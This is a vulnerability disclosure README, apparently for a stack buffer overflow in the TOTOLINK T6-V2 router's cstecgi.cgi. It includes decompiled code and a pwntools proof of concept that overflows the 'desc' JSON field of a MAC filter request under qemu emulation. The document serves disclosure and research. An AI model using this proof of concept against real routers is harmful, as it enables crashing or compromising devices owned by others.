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on May 29 [History](#)

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readme.md

Overview

- The device's official website: http://www.totolink.cn/home/menu/detail.html?menu_listtpl=products&id=16&ids=33
- Firmware download website: http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=16&ids=36

Affected version

T6-V2 V4.1.9cu.5179_B20201015

Vulnerability details

The vulnerability exists in the router's WEB component. `/web_cste/cgi-bin/cstecgi.cgi FUN_0041880c` (at address `0x41880c`) gets the JSON parameter `desc`, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

```

74  __src = (char *)websGetVar(param_1,"desc","");
75  iVar5 = FUN_004220b4(pcVar3);
76  if (iVar5 == 0) goto LAB_00418bd0;
77  if (iVar4 == 1) {
78      apmib_get(0x7b,local_24);
79      if (0x1f < local_24[0]) goto LAB_00418bd0;
80      if (0 < local_24[0]) {
81          iVar4 = 1;
82          do {
83              memset(&local_94,0,0x3b);
84              local_94 = (byte)iVar4;
85              apmib_get(0x807c,&local_94);
86              snprintf((char *)&local_48,0x20,"%02X:%02X:%02X:%02X:%02X:%02X",(uint)local_94,
87                  (uint)local_93,(uint)local_92,(uint)local_91,(uint)local_90,(uint)local_8f);
88              iVar5 = strcasecmp((char *)&local_48,pcVar3);
89              iVar4 = iVar4 + 1;
90              if (iVar5 == 0) goto LAB_00418bd0;
91          } while (iVar4 <= local_24[0]);
92      }
93      iVar4 = 0;
94      cVar1 = *pcVar3;
95      while (cVar1 != '\0') {
96          if (cVar1 != ':') {
97              *(char *)((int)&local_58 + iVar4) = cVar1;
98              iVar4 = iVar4 + 1;
99          }
100         pcVar7 = pcVar3 + 1;
101         pcVar3 = pcVar3 + 1;
102         cVar1 = *pcVar7;
103     }
104     if ((char)local_58 == '\0') goto LAB_00418bd0;
105     sVar6 = strlen((char *)&local_58);
106     FUN_004232bc(&local_58,auStack328,sVar6);
107     strcpy(acStack322,__src);

```

PoC

```

from pwn import *
import json

data = {
    "topicurl": "setting/setMacFilterRules",
    "addEffect": "1",
    "enable": "1",
    "mac": "00:00:00:00:00:00",
    "desc": 'A'*0x400
}

data = json.dumps(data)
print(data)

argv = [
    "qemu-mipsel-static",
    "-g", "1234",
    "-L", "./root/",
    "-E", "CONTENT_LENGTH={}".format(len(data)),

```

```
        "-E", "REMOTE_ADDR=192.168.2.1",  
        "./cstecgi.cgi"  
]  
  
a = process(argv=argv)  
a.sendline(data.encode())  
  
a.interactive()
```